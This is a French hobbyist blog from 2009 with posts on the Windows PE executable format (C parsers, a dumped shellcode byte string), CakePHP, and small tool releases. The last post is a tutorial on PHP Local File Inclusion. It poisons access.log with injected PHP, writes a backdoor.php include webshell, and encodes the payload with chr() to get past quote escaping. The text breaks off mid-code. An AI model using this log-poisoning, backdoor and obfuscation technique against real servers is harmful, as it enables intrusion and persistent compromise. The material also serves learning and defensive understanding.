mercredi 29 avril 2009

Format PE - Part II

Salut, salut.

Chose promise, chose due. Je continue l'aventure sur le format PE. Tout d'abord, je vais vous raconter ma sale journée vous résumer brièvement ce qu'évoquait le "Part I" :
- Etude de la définition du format ;
- Etude de l'en-tête DOS ;
- Etude de l'en-tête principale ;
- Afficher le timestamp de compilation - ou, pour rester français, la date à laquelle le programme a été traduit en code machine ;
- Afficher le nombre de sections.

Je m'étais arrêté sur le dernier point, et j'avais enchaîné avec un article qui récupérait le code machine de la section .code. Je parle de section, mais je ne l'ai pas vraiment définie. Alors, allons-y.

Je ne vais pas m'attarder sur google pour chercher une définition, mais plutôt essayer de vous expliquer tout cela comme si vous étiez en face de moi. Une section, dans un exécutable, c'est une sorte de paragraphe qui a ses propriétés. Chaque section a une en-tête qui lui est propre et qui définit ses caractéristiques. Voici celles que je suis en mesure de vous décrire succinctement :
- son nom, codé sur 8 octets ;
- sa taille virtuelle : la taille à réserver lors du chargement de la section en mémoire (je me suis servi de cette caractéristique pour le dump de la section .text, après avoir compilé le shellcode d'0vercl0k) ;
- son adresse virtuelle (on en parlera prochainement) ;
- l'offset du début de la section ;
- ...

Si vous ne comprenez toujours pas, je peux vous citer des exemples de section connues :
- .text : contient toutes les instructions binaires qui seront exécutées sequentiellement ;
- .rdata : contient les données nécessaires au programme (r = read). Par exemple, si vous avez fait, en C, un printf("Hello"), la chaîne de caractère sera écrite "en bazar" dans la section .rdata, et on accédera à cette chaîne via son adresse mémoire virtuelle ;
- .bss : espace mémoire réservé par le programme afin de permettre aux instructions machines de stocker des valeurs si besoin ;
- .idata : espace mémoire réservé pour la table des importations. Cette section renferme le nom des fonctions utilisées par le programme, ainsi que les bibliothèques dynamiques (ou DLL) chargées.

En résumé, si on se replonge dans le bain, un PE ressemble à ça :


Certes, pour ceux qui ont déjà lu de la documentation, ce schéma n'est pas exceptionnel et on le retrouve de partout.


Autre "trucs" que j'ai oubliés



Pour ceux qui ouvrent des exécutables avec OllyDbg, vous vous apercevez que les adresses mémoires sont de la forme 0040XXXX. Ce sont des adresses mémoires virtuelles. La base des adresses mémoires est définie dans l'en-tête optionnelle du PE :

00400098 0B01 DW 010B ; MagicNumber = PE32
0040009A 02 DB 02 ; MajorLinkerVersion = 2
0040009B 38 DB 38 ; MinorLinkerVersion = 38 (56.)
0040009C 000A0000 DD 00000A00 ; SizeOfCode = A00 (2560.)
004000A0 00120000 DD 00001200 ; SizeOfInitializedData = 1200 (4608.)
004000A4 00020000 DD 00000200 ; SizeOfUninitializedData = 200 (512.)
004000A8 80120000 DD 00001280 ; AddressOfEntryPoint = 1280
004000AC 00100000 DD 00001000 ; BaseOfCode = 1000
004000B0 00200000 DD 00002000 ; BaseOfData = 2000
004000B4 00004000 DD 00400000 ; ImageBase = 400000

(pour info, j'ai dumpé un bout de l'en-tête de mon fameux "Hello.exe" du part I, avec OllyDbg).

Je vous ai montré le champ important. Malgré ça, il y en a d'autres plutôt intéressants. Je n'expliciterai cependant pas là-dessus. Quoi, vous tenez quand même à savoir ?

Bon, eh bien, je dois vous avouer que j'aurais du le faire plus tôt ; je vais vous passer un pdf qui semble très bien résumer (mieux que moi, en tout cas) l'architecture du format PE. http://venom630.free.fr/geo/blog/format_pe_partii/Le_format_PE.pdf. A croire que cet article n'aurait servi à rien, si ce n'est vous retranscrire cela dans un langage peut-être plus familier !

Exceptionnellement, on ne va pas se quitter avec un code source. Il faut que je prenne le temps de me mettre à l'API WIN32, mais, en toute honnêteté, j'ai drôlement du mal à me familiariser avec la msdn et les noms de fonctions compliqués. A croire que je ne sais me servir que que Sleep() et de MessageBox(). Celui qui se marre, ... grmbl.


Conclusion ?


Là, encore, il n'y a pas grand chose à dire pour clore l'article, si ce n'est que le format PE est intéressant, et qu'une idée m'est venue à la tête concernant les sections. Je n'ai pas fait de recherche sur google, mais autant retranscrire l'idée maintenant (pour le peu de lecteurs qui suivent) : si on ne déclare pas une section avec son en-tête, se peut-il qu'on puisse allouer un espace mémoire non "détecté" dans les en-tête et y injecter du code malicieux ? A réfléchir. Ou pas.

Geo


URL de support : http://venom630.free.fr/geo/?path=blog/format_pe_partii (contient l'image et le pdf adéquats à l'article)

mardi 21 avril 2009

Faire des gâteaux avec PHP (CakePHP)

Yop,
afin de ne pas laisser le blog dans l'oubli, je me permets de rafraichir les nouvelles avec ce billet.
Je n'ai pas vraiment le temps et la motivation pour faire quoi que ce soit, ces temps-ci. Je vais donc essayer (et je dis bien, essayer) de vous parler d'un framework php que j'ai découvert via un tutoriel sur le site du zéro : CakePHP. Le tutoriel se situe à cette adresse : http://www.siteduzero.com/tutoriel-3-115159-cake-php-du-gateau-pour-tous-les-zeros.html, et est entretenu par Jibriss.


Il explique brièvement les bases, à savoir la définition d'un framework ou encore la programmation orientée objet (POO) en PHP, et nous parle un peu de ce fameux CakePHP. J'ai testé tout le bazar, et j'avoue être agréablement surpris par la simplicité de prise en main.

Un exemple tout con. J'ai l'habitude de taper mes formulaires html à la main, à savoir :
<form method="post" action="cible.php">
<table>
<tr>
<td>Nom :</td>
...
...


Le framework, lui, propose de taper ça :
<?php
echo $form->create('Livre');
echo $form->input('Nom');
echo $form->input('Prenom');
echo $form->end('Ajouter'); ?>


On n'a vraiment pas à se soucier de ce qui se passe derrière. Ça n'est cependant pas interdit de trifouiller les sources pour comprendre comment ça marche !

Le billet se termine ici. Court, je vous l'avoue. Mais faut bien donner des signes de vie, de temps en temps !

A la prochaine.

Geo

vendredi 3 avril 2009

Interlude : release de dbsave & GeoStr

Assis sur un fauteuil confortable, un homme qui semble être en costard se racle la gorge et vous présente les news du 3 Avril 2009.

Bien le bonjour ! Merci d'être avec nous en cette fin d'après midi. Aujourd'hui, Geo tient à vous annoncer deux choses :


Release de dbsave


Eh oui ! Je me suis dit qu'améliorer le script de back-up de bdd ne ferait aucun mal. En plus, j'y trouve mon compte. Ce qui change :
- Dump amélioré ;
- Gestion des clés primaires composées ;
- Possibilité d'entrées des paramètres en ligne de commande.

Le lien : http://venom630.free.fr/geo/tools/dbsave_php.txt


Release de GeoStr


Pour mes lecteurs, vous souvenez-vous de GeoStr ? Petit module amateur personnel qui permet de manipuler les chaînes de caractère en C !
J'ai ajouté la fonction GeoStr_trim ; l'équivalent de trim() en PHP. Sa signature :
char *GeoStr_trim(char *str);
Cette fonction se contente de nettoyer les "blancs" - espaces, tabulations, sauts de ligne etc - en début et fin de str... Et se contente de la retourner, tout simplement.

/!\ Et encore un sujet qui fâche : j'ai mis à votre dispositions deux "destructeurs" ; en effet, j'utilise l'allocation dynamique dans mes fonctions, et chaque malloc() a son free(). Vaut mieux rester propre.

void GeoStr_destroy(char *str);
Cette fonction libère la mémoire allouée par votre pointeur char*

void GeoStr_destroytab(char **tab);
Cette fonction libère les tableaux générés par la fonction GeoStr_explode().

http://venom630.free.fr/geo/?path=tools/GeoStr




C'était le journal l'interlude du blog.

Et pour la suite ?



J'avoue que je réserve tout de même un paragraphe pour vous annoncer que je risque de retomber dans une période de flemme. Faut pas m'en vouloir, je suis en vacances.
Sur ce, bon surf, et merci pour ceux qui se tiennent au jus.

J'oubliais... J'aime les nouilles.

Geo

mardi 31 mars 2009

Disseque ton PE, et récupère ta section code.

Salut salut,
étant donné les rapides soutiens dans les commentaires des articles précédents (et j'en remercie les auteurs) ainsi que d'une motivation inouïe, je me mets à continuer ma route sur le format PE. Cet article conclura le mois de mars avec brio, je l'espère.

Je me triture la cervelle en cours. Mais j'avais déjà réfléchi à injecter du code à la place des octets nuls présents à partir de 0x240, j'en avais parlé avec UnKnOwN*DrAgOoN - il est chiant à écrire, son pseudo - ; j'y suis arrivé, et j'y consacrerai un article plus tard.

Cet article servira de support à la pratique pour trifouiller le format PE. Il vous faudra unn outil intéressant que vous possédez certainement : Olly dbg. Pour ceux qui ne connaissent pas, Olly Dbg est un outil gratuit qui permet de désassembler des programmes afin de :
- Cracker (ouuuh c'est mal !) ;
- "Reverser" le programme - c'est-à-dire comprendre son fonctionnement en lisant le code assembleur ;
- Trouver le problème en cas d'algorithme mal implémenté ;
- ...

Ici, on va s'en servir pour analyser la mémoire d'un exécutable. Voici ce dont vous aurez besoin pour la pratique : http://venom630.free.fr/geo/?path=blog/pratique_pe.

Quatre fichiers :
- sh_over_asm.txt : shellcode conçu par 0vercl0k que j'ai piqué sur son blog (il ne m'en voudra pas, puisque je l'embrasse sur la fesse droite et lui adresse mes remerciements les plus profonds du cœur et tout) ;
- sh_over.exe : version compilée du shellcode d'0vercl0k (avec MASM32) ;
- ...

Vous verrez les deux fichiers plus tard. Je sais, j'ai un peu gâté, mais tant pis.

(Cliquez sur les images pour les voir en grand)

On ouvre sh_over.exe avec ollydbg, et on va voir dans la mémoire.


On tombe sur ça :


J'ai grisé la zone intéressante, qui va nous permettre de voir les en-têtes du format PE. Double-cliquez sur cette zone. Déplacez-vous jusqu'à, ensuite, trouver ça :


Je peux maintenant expliquer où je veux en venir. Je souhaite faire un programme qui ouvre un exécutable, en extrait le contenu de la section qui contient le code, et qui affiche les opcodes - équivalents binaires des instructions en assembleur - en dur dans la console (on peut enregistrer le flux de sortie via l'opérateur > dans la ligne de commandes).

Pour ce faire, j'ai besoin d'élaborer un algorithme précis. Tout d'abord, connaître l'offset de notre en-tête PE (logique), trouver le nombre de sections présentes ainsi que la taille de l'en-tête optionnelle. Une fois que j'ai trouvé ces informations, je peux me déplacer dans le fichier à la fin de l'en-tête optionnelle pour trouver l'en-tête des options qui suivent (cf. capture d'écran).

Je peux aussi élaborer une structure C de l'en-tête d'une section (Pour info, ne maîtrisant pas l'API Win32, je ne me servirai pas de windows.h pour prendre la structure toute faite) :

typedef struct {
char name[8];
long VirtualSize,
VirtualAddress,
SizeOfRawData,
PointerToRawData,
PointerToRelocations,
PointerToLineNumbers;

short NumberOfRelocations,
NumberOfLineNumbers;

long Characteristics;
} Section_Pe;


La section fait 40 octets ; multiple de 4, donc pas de problème de Data Structure Alignment. Le lien pointe sur un article de 5m0k3 qui évoque ce concept, et je vous le recommande car je n'irai pas plus loin. Il ne faut pas dériver du sujet.

Dans notre structure :
- il faudra vérifier que le membre Characteristics ait le flag "Je contiens du code" actif ; si ce n'est pas le cas, on saute à la section suivante (si y'en a plusieurs) ;
- dès qu'on aura la section qui nous intéresse, on se déplacera en dur dans le fichier à l'aide du membre PointerToRawData ;
- On lira les opcodes via une boucle for() qui s'arrêtera jusqu'à SizeOfRawData.

PointerToRawData contient 200. Voyons voir...


J'en mets mon zizi à couper qu'il s'agit de notre section qui contient le code exécutable !

Vraiment bien foutue et utile, cette en-tête de section. Au fait, j'aurais pu faire un algorithme qui trouve la section ".text", mais la section de code ne s'appelle pas tout le temps comme ça ; c'est, certes, une convention, mais les compilateur Borland nomment cette section "CODE". Et puis, elles ont le nom qu'elles veulent.

Au final, j'élabore un code (que je commente au max) qui va dumper la section code de notre exécutable pour ensuite se servir des opcodes en tant que shellcode, et j'en passe. Ce fut une bonne expérience pour moi afin de comprendre davantage le PE.

Voici le code :
#include <stdio.h>
#include <stdlib.h>
#define OFFSET_E_LFANEW 0x3C // Offset absolu contenant l'offset d'en-tête PE
#define MOTMAGIQUE 0x00004550 // Mot magique de l'en-tête PE ('PE#0#0')
#define CONTAINS_CODE 0x020 // Flag qui vérifie si la section PE contient du code

// Structure représentant l'en-tête d'une section PE
typedef struct {
char name[8];
long VirtualSize,
VirtualAddress,
SizeOfRawData,
PointerToRawData,
PointerToRelocations,
PointerToLineNumbers;

short NumberOfRelocations,
NumberOfLineNumbers;

long Characteristics;
} Section_Pe;


int main(int argc, char **argv) {

// Il faut inciter à fournir les arguments en ligne de commande
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

long MagicWord, // Mot magique pour vérifier qu'il s'agit bien d'un PE
OffsetPeHeader; // L'offset du header PE
short NumberOfSections, // Nombre de sections
SizeOptionalHeader; // taille header optionnel
FILE *fe; // Pointeur de fichier

// On essaie d'ouvrir le fichier exécutable
if((fe = fopen(argv[1],"rb")) == NULL) {
printf("Erreur lors de l'ouverture de %s !\n",argv[1]);
exit(EXIT_FAILURE);
}
// On se déplace a l'offset (à partir du début) qui contient lui-même
// l'offset de la signature PE, puis on a lit
fseek(fe, OFFSET_E_LFANEW, SEEK_SET);
fread(&OffsetPeHeader, 1, sizeof(long), fe);

// On s'y déplace
fseek(fe, OffsetPeHeader, SEEK_SET);

// On lit le mot magique et on vérifie sa conformité
fread(&MagicWord, 1, sizeof(long), fe);
if(MagicWord != MOTMAGIQUE) {
printf("Ce fichier n'est pas un PE.\n");
exit(EXIT_FAILURE);
}

// On se déplace pour trouver le nombre de sections (toujours à partir du début)
// Le + 2 sert à sauter par dessus le mot magique & le nombre représentant l'architecture système
// qui ne nous intéresse pas.
fseek(fe, 2, SEEK_CUR);

// On lit le nombre de sections
fread(&NumberOfSections, 1, sizeof(short), fe);
// On s'occupe ensuite de savoir s'il y a une en-tête optionnelle
// en récupérant sa taille. Si != 0, alors elle existe.
// On saute le timestamp (+4), L'adresse pointant
// vers la table des symboles (+4) et le nombre des symboles (+4)
// = 12 octets
fseek(fe, 12, SEEK_CUR);

// On lit la taille de l'header optionnel
fread(&SizeOptionalHeader, 1, sizeof(short), fe);

// Et on se déplace jusqu'aux en-têtes de sections
// (ou jusqu'à l'en-tête section, s'il n'y en a qu'une)
// après avoir sauté les caractéristiques (+2)
fseek(fe, 2 + SizeOptionalHeader, SEEK_CUR);
// On lit la première section
Section_Pe SectionActuelle;
fread(&SectionActuelle, 1, sizeof(Section_Pe), fe);



// Tant que la section lue ne contient pas du code, on cherche la bonne
while(!(SectionActuelle.Characteristics & CONTAINS_CODE)) {
fread(&SectionActuelle, 1, sizeof(Section_Pe), fe);
}

// On a notre section exécutable. On affiche ses informations
printf("Name = %s\n"
"VirtualSize = 0x%x (%d.)\n"
"VirtualAddress = %d\n"
"SizeOfRawData = 0x%x (%d.)\n"
"PointerToRawData = 0x%x\n\n",
SectionActuelle.name, SectionActuelle.VirtualSize, SectionActuelle.VirtualSize,
SectionActuelle.VirtualAddress,SectionActuelle.SizeOfRawData, SectionActuelle.SizeOfRawData,
SectionActuelle.PointerToRawData);

// On s'y positionne
fseek(fe, SectionActuelle.PointerToRawData, SEEK_SET);

// On lit les octets (opcodes) et on les affiche sous la forme \xXX
int i; // compteur de boucle
unsigned char opcode; // opcode lu
for(i = 0; i < SectionActuelle.VirtualSize; i++) {
fread(&opcode, 1, sizeof(char), fe);
printf("\\x%02X", opcode);
}
printf("\n");
fclose(fe);
return EXIT_SUCCESS;
}

Source disponible ici : http://venom630.free.fr/geo/blog/pratique_pe/shellcodeme_c.txt - Exécutable disponible ici : http://venom630.free.fr/geo/blog/pratique_pe/shellcodeme.exe


C:\Pratique_format_PE>shellcodeme sh_over.exe
Name = .text
VirtualSize = 0x3b (59.)
VirtualAddress = 4096
SizeOfRawData = 0x200 (512.)
PointerToRawData = 0x200

\x33\xDB\x33\xC0\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\xBF
\x77\x1D\x80\x7C\x54\xFF\xD7\x53\x68\x63\x6C\x30\x6B\x68\x30\x76\x65\x72\x8B\xCC
\x53\x51\x51\x53\xBF\x0B\x05\xD5\x77\xFF\xD7\x53\xBF\xA2\xCA\x81\x7C\xFF\xD7


Conclusion



Pff... Que dire ? Que ça m'a occupé deux bonnes heures pour éviter les pensées négatives ? Je sais pas. On a qu'à dire que je trace mon évolution.

Par ailleurs, j'aspire à penser qu'il existe sûrement des outils qui se chargent de faire ça ; Heurs et Squallsurf en ont peut-être codé un semblable que j'ai pas réussi à faire marcher, mais je viens de comprendre pourquoi ils disaient que le code C ne devaient pas comporter d'appels à des fonctions extérieures. Effectivement, en assembleur, cela se traduit par des CALL. Et les fonctions se trouvent peut-être ailleurs... M'enfin, je préfère m'abstenir de dire des conneries, d'où le "peut-être".

C'est tout. J'espère continuer sur cette lancée, et merci aux soutiens, ça fait véritablement plaisir.

Je vous laisse, j'ai des devoirs à faire. Merde.

dimanche 29 mars 2009

Format PE *réinvente la roue* - Part I

Salut,
Afin de ne pas sombrer dans l'ennui, la paresse et le "j'fous rien", je décide de me mettre - moi aussi - à l'étude du format PE. Certes, on retrouve cette documentation un peu partout, mais un des meilleurs moyens (pour ma part) d'assimiler tout ça n'est autre que de rédiger un article avec une démarche, je l'espère, précise et très explicative.

Parlons donc du format PE (un truc dont on ne parlera jamais en cours, c'est bien dommage). Les initiales signifient, respectivement "Portable Executable". Si on fait un cours d'histoire, on va résumer les grandes lignes : c'est un format qui définit l'architecture des programmes microsoft, ainsi que des DLLs voire des pilotes de matériels. Le "Portable" signifie, ici, que les données peuvent être exécutées d'un système à un autre.

En gros, sans vouloir la jouer compliquer, ce put*** de format PE spécifie les programmes qui se terminent en .exe que nous utilisons souvent (voilà, c'était simple).

Vite s'armer (au cas où)


Je vous ai préparé un éditeur hexadécimal, un exécutable accompagné de sa source et de son dump pour faciliter la pratique. Pour l'exécutable, comme vous l'aurez compris, j'ai pas cherché à faire compliqué !

Analysons en douceur les premières lignes :
00000000:  4D 5A 90 00 03 00 00 00  04 00 00 00 FF FF 00 00  MZ..........ÿÿ..
00000010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸.......@.......
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ............€...
00000040: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th
00000050: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00000060: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00000070: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......


Cette en-tête est peu intéressante par rapport à ce qui nous attend, mais il convient de l'analyser. En premier, on a la suite d'octets 'MZ' qui correspond au "mot magique", c'est-à-dire à la signature de l'en-tête DOS. Effectivement, si nous essayons de lancer ce programme en mode DOS - ce n'est pas ce qu'on veut - alors le programme se basera sur MZ et la suite...

Si vous ne comprenez pas la notion de signature ou mot magique, dites-vous que certains autres formats ont leur propre mot magique. Les fichiers bitmap on 'BM', les archives zip on 'PK', les sons wav on 'RIFF', etc...

Ce morceau de code, si lancé dans un environnement DOS, se contentera d'afficher gentiment "This program cannot be run in DOS mode" grâce au service 9 de l'interruption 0x21 qui permet d'afficher un message à l'écran. En clair, il veut dire "Mais espèce de sac-à-foutre, change d'OS et prends Windows 9x voire NT si t'es pas ringard !". Je sais, c'est brusque, mais je suis pas là pour faire des paroles mystérieuses et intellectuelles comme les grands philosophes. Naturel, quoi.

Je dérive, je dérive... Continuons. A l'offset 0x3C, on a une valeur DWORD (Double Word = double mot = 4 octets) qui correspond à l'offset absolu du header PE, celui qui nous intéresse. Ici, on a 0x80 ; ça signifie que notre en-tête PE commence à l'offset 0x80 (sans déconner ?).

Voyons ça !
00000080:  50 45 00 00 4C 01 05 00  38 5B CE 49 00 16 00 00  PE..L...8[ÎI....
00000090: CD 01 00 00 E0 00 07 03 0B 01 02 38 00 0A 00 00 Í...à......8....
000000A0: 00 12 00 00 00 02 00 00 80 12 00 00 00 10 00 00 ........€.......
000000B0: 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 . ....@.........
000000C0: 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
000000D0: 00 60 00 00 00 04 00 00 97 C8 00 00 03 00 00 00 .`......—È......
000000E0: 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 .. .............
000000F0: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................


Apparemment, notre compte est bon. On voit un mot magique "PE" en tout début. La spécification du format PE exige que le mot magique soit codé sur 4 octets et contienne octet pour octet PE#0#0, soit 'PE' suivi de deux octets nuls (ou null bytes). Pour preuve, essayez de mettre autre chose à la place des deux zéros, vous risquerez d'obtenir une cochonnerie du genre :
C:\DOCUME~1\Geoffrey\C\sources>hello
This program cannot be run in DOS mode.

C:\DOCUME~1\Geoffrey\C\sources>


Comme par hasard ! Dans le cas où l'header aurait été valide, on aurait eu tout autant un résultat pourri et inutile qu'est mon "Hello, world!" de la mort qui tue. T'peux pas test.

Après ce fameux mot magique, on a d'autres informations :
[*] 0x80+4 : WORD (2 octets) = type d'architecture de la machine. Ici, on a 0x014C, qui correspond apparemment à I386.
[*] 0x80+6 : WORD (2 octets) = nombre de sections dans le programme.

On va pas s'attarder sur les sections, mais en gros, ça correspond au .data, .bss, .text si vous faites de l'assembleur. La section .data contient des ressources (données basiques) dont le programme peut avoir besoin. Le .bss représente un espace mémoire prêt à recevoir des données (du moins, en asm), et le .text représente votre page de code qui sera exécutée. Là, y'a 5 sections, mais on verra ça plus tard (à vrai dire, je me suis pas plongé dedans, je fais tout en live et ça me forme).

[*]0x80+8 : DWORD (4 octets) = timestamp correspondand à l'heure de compilation du programme. Faudrait essayer, tiens. Ici, on a 0x49CE5B38, soit 1238260536. Que nous donne le script php suivant ?
<?php
echo "Programme compile le ".date('d/m/Y', 1238260536)." a ".date('H:i:s', 1238260536)."\n";
?>


==>

C:\DOCUME~1\Geoffrey\C\sources>php check_timestamp.php
Programme compile le 28/03/2009 a 18:15:36


Bordel ! Maintenant, je me souviens que j'avais fait ce fameux "Hello, world!" pour tester la réinstallation de mon environnement CodeBlocks. Ça marche vraiment, hohoho !

(Euh, Geo, et si on passait à la suite ? - D'accord)

Pour la suite, on a des données qui parlent de tables des symboles et d'en-têtes optionnelles du PE. Mais en parler ferait trop pour un Part I, et sachant que je débute depuis peu. Ca me fait mal au cerveau et je préfère y aller en douceur (quoi ? Je suis un noob ? mais euh...).

On va se quitter avec un programme de merde qui :
- Ouvre un fichier exe ;
- Dit si c'est un exe valide (en se basant sur la lecture du mot magique au début de l'en-tête PE) ;
- si c'est un exe valide, affiche son architecture (ici, que pour i386), son nombre de sections et sa date de compilation.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define UTILISATION printf("Utilisation : %s \n", argv[0]); \
exit(EXIT_FAILURE);
#define OFFSET_E_LFANEW 0x3C // L'offset absolu de l'en-tête NT
#define SIG_VALID_IMAGE_NT_HEADER 0x00004550 // 'PE#0#O' est la signature valide

int main(int argc, char **argv) {
if(argc < 2) {
UTILISATION
}

int sig,
offset_nt,
archi,
nsec,
tstamp;

FILE *fpe;
if((fpe = fopen(argv[1],"rb")) == NULL) {
printf("Impossible d'ouvrir l'executable %s !\n", argv[1]);
exit(EXIT_FAILURE);
}

fseek(fpe, OFFSET_E_LFANEW, SEEK_SET);
fread(&offset_nt, sizeof(int), 1, fpe);
fseek(fpe, offset_nt, SEEK_SET);
fread(&sig, sizeof(int), 1, fpe);
if(sig == SIG_VALID_IMAGE_NT_HEADER) {
printf("Executable valide !\n");

// On vérifie le type d'architecture
fread(&archi, sizeof(short int), 1, fpe);

// On lit le nombre de sections
fread(&nsec, sizeof(short int), 1, fpe);

// On lit le timestamp de compilation
fread(&tstamp, sizeof(int), 1, fpe);

if((short)archi == 0x014C) {
printf("[*] Architecture : i386\n");
}
printf("[*] Nombre de sections : %d\n"
"[*] Timestamp = %d - %s\n", (short)nsec,
tstamp, asctime(localtime((time_t*)&tstamp)));

} else {
// Si mot magique différent de 'PE#0#0'
printf("Executable invalide !\n");
}

return EXIT_SUCCESS;
}

(Source véritable : http://venom630.free.fr/geo/autre_chose/etude_pe/checkvalidpe_c.txt)

J'ai pas utilisé de structures, car j'aurais fait face à un souci de Data Structure Alignment ; un bon article expliquant ce souci a été écrit par Smoke : c'est ici. J'ai donc utilisé des variables individuelles, mais on se fiche de ça un peu. Ouais, ok, j'aurais pu utiliser windows.h pour me servir des types WORD et DWORD, mais on s'en fout aussi.

Conclusion


Je débute, et remerciement à Ivanlef0u qui m'a conseillé de partir de là si je voulais me tâter un peu sur la compréhension de ouinedouze ; je remercie aussi ceux qui me soutiennent (normal).

Et petit coucou à NiklosKoda qui galère sur son billard en pascal.

Geo

samedi 14 mars 2009

Les dangers d'une LFI (Local File Inclusion) en PHP : access.log

Bien le bonjour !
Afin de ne pas laisser le blog sombrer, parlons d'un concept de la sécurité en PHP : Local File Inclusion. On parle de faille, notamment parce qu'on peut inclure n'importe quoi sur le serveur local. On ne se contentera donc pas d'étudier le principe de RFI (Remote File Inclusion) qui constitue une faille extrêmement dangereuse, certes, mais qui est très facile à exploiter et à comprendre ; par ailleurs, je ne pense pas m'adresser à un public qui n'y connait rien...

Enfin, bref. Ca remonte aux vacances de noël, où je bouffais tranquillement un grec avec Heurs dans sa voiture. On parlait un peu de tout et de rien, puis il me sort qu'on peut injecter du code php arbitraire avec une LFI. Il m'a expliqué brièvement, j'ai mené des recherches de mon côté, et je suis arrivé à produire des résultats intéressants. ;)

Le principe est, en fait, de trouver le chemin du fichier access.log et de l'inclure. A quoi ça correspond donc ? A l'historiques des requêtes adressées à notre serveur. Sous linux, il peut se trouver dans plusieurs chemins différents en fonction des distributions. Sous une Debian c'est (de tête...) /var/logs/apache2/access.log ; sur un serveur ovh dédié, on a /usr/local/apache/logs/access.log, etc...

Pour ma part, j'utilise wamp - donc windows - et mon access.log se situe dans C:\wamp\logs\access.log


Voici une portion de contenu :


127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_tblimport.png HTTP/1.1" 200 280
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_edit.png HTTP/1.1" 200 451
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_primary.png HTTP/1.1" 200 416


On peut, à partir de se fichier, savoir qui a demandé telle page à telle heure. En quoi le fait de l'inclure peut-il constituer une faille ? Car si on y injecte du PHP dedans et que nous appelons ce fichier par une LFI, ... Ca fait mal ! :)

Pour nous mettre en situation réelle, prenons un script php quelconque situé à la racine du site :

<?php
// mapage.php
if(isset($_GET['page']) && file_exists('./'.$_GET['page'])) {
include('./'.$_GET['page']);
} else {
// Blablabla...
}
?>


Allons maintenant à l'adresse : http://localhost/mapage.php?page=../logs/access.log ; on voit le contenu de notre fichier access.log. Pour y aller à l'aise, je vous conseille de vider le contenu de ce fichier.

Maintenant, si nous voulons réussir l'attaque, il faut injecter du php.

Essayons d'aller à cette adresse :
http://localhost/mapage.php?<?php echo 'coucou'; ?>

Puis revenons sur la page qui inclut access.log. Que constatez-vous ? Les caractères ont été encodés par le navigateur. Il faut donc utiliser des outils comme netcat, telnet, etc... Essayons en forgeant une requête type :

GET /mapage.php?<?php phpinfo(); ?> HTTP/1.1
Host: localhost
Connection: close



On balance la requête avec telnet, on retourne pour charger notre fichier access.log, et... Magie ! Notre code est interprêté sur le serveur distant.

On pourrait aller plus loin : exécuter un code qui va créer une page qui, elle-même, interprétera du code fourni en paramètre (GET, POST, etc...). Commençons par faire notre page qu'on souhaitera écrire sur le serveur distant :
<?php
if(isset($_GET['a']))
include($_GET['a']);
?>


Faisons maintenant le code qui va écrire ce code dans une page :
$fp = fopen('backdoor.php','w');
fwrite($fp, '<?php
if(isset(\$_GET[\'a\']))
include(\$_GET[\'a\']);
?>');
fclose($fp);



On s'emmêle les pinceaux, j'avoue, mais tout est bien coordonné. En fait, il suffira d'injecter le code ci-dessus dans notre URL avec telnet pour que le tour soit joué. Cependant, il faut penser à certaines parades côté serveur : et si les guillemets simples ou doubles étaient échappés ? Ca serait embêtant. On va donc encoder chaque caractère du code en sa version décimale, et passer le tout dans la fonction eval. Le script ci-dessous, exécuté en CLI (Command Line Interface) se charge de mâcher tout le travail : (merci NiklosKoda ! :P)
<?php

function stringtochar($string)
{
$char = 'chr(';
for($i=0 ; $i<strlen($string)-1 ; $i++)
$char .= ord(substr($string, $i, 1)).').chr(';
$char .= ord(substr($string, strlen($string)-1, 1)).')';
return $char;
}

echo stringtochar('$fp = fopen(\'backdoor.php\',\'w\');
fwrite($fp, \'if(isset($_GET[\\\'a\\\']))
include($_GET[\\\'a\\\']);
?>\');
fclose($fp);');

?>


Le script nous produit ce résultat :
chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)

(tronqué sur plusieurs lignes).
Testons si le script suivant fonctionne :
<?php
eval(chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
